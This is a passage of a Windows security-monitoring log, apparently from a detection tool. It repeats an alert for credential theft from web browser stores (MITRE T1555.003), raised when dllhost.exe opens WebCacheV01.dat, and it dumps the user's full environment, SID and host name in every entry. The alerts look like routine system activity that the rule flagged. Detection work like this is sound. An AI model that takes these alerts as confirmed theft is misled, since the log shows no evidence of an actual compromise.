ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:14:11+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 6783261 + Pid: 3488 + Tid: 9288 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:13:55.8397929 +0100 CET + Params: attributes➜ NORMAL, create_disposition➜ OPEN, create_options➜ WRITE_THROUGH|NON_DIRECTORY_FILE|RANDOM_ACCESS, file_object➜ ffffad0dee10acb0, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffffad0dd72e5808, share_mask➜ , status➜ Success, tid➜ 9288, type➜ File + Metadata: tactic.name: Credential Access, technique.id: T1555, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Unusual access to Web Browser Credential stores, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.003, subtechnique.name: Credentials from Web Browsers, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/ + + Pid: 3488 + Ppid: 1228 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:14:11+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 6783265 + Pid: 3488 + Tid: 9288 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:13:55.8400839 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffffad0dee108be0, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffffad0def5ac0f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 9288, type➜ File + Metadata: rule.name: Unusual access to Web Browser Credential stores, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.003, subtechnique.name: Credentials from Web Browsers, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, tactic.name: Credential Access + + Pid: 3488 + Ppid: 1228 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:14:11+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 6783270 + Pid: 3488 + Tid: 9288 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:13:55.8403303 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffffad0dee109090, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffffad0dd25d0388, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 9288, type➜ File + Metadata: rule.name: Unusual access to Web Browser Credential stores, technique.id: T1555, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.003, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, tactic.id: TA0006, subtechnique.name: Credentials from Web Browsers, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/ + + Pid: 3488 + Ppid: 1228 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:14:11+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 6783296 + Pid: 3488 + Tid: 9288 + Type: CreateFile + CPU: 1 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:13:55.8428527 +0100 CET + Params: attributes➜ NORMAL, create_disposition➜ OPEN, create_options➜ WRITE_THROUGH|NON_DIRECTORY_FILE|RANDOM_ACCESS, file_object➜ ffffad0de113c990, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffffad0dd25d0388, share_mask➜ , status➜ Success, tid➜ 9288, type➜ File + Metadata: technique.id: T1555, rule.name: Unusual access to Web Browser Credential stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, subtechnique.name: Credentials from Web Browsers, tactic.name: Credential Access, technique.name: Credentials from Password Stores, subtechnique.id: T1555.003, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 3488 + Ppid: 1228 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:14:11+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 6783301 + Pid: 3488 + Tid: 9288 + Type: CreateFile + CPU: 1 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:13:55.8431075 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffffad0de113ce40, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffffad0dd25d0388, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 9288, type➜ File + Metadata: technique.id: T1555, technique.name: Credentials from Password Stores, tactic.id: TA0006, subtechnique.id: T1555.003, subtechnique.name: Credentials from Web Browsers, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, rule.name: Unusual access to Web Browser Credential stores, tactic.name: Credential Access + + Pid: 3488 + Ppid: 1228 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:14:11+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 6783310 + Pid: 3488 + Tid: 9288 + Type: CreateFile + CPU: 1 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:13:55.8433282 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffffad0de113e5b0, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffffad0dd3c610f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 9288, type➜ Directory + Metadata: rule.name: Unusual access to Web Browser Credential stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.003, technique.id: T1555, tactic.id: TA0006, subtechnique.name: Credentials from Web Browsers + + Pid: 3488 + Ppid: 1228 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes 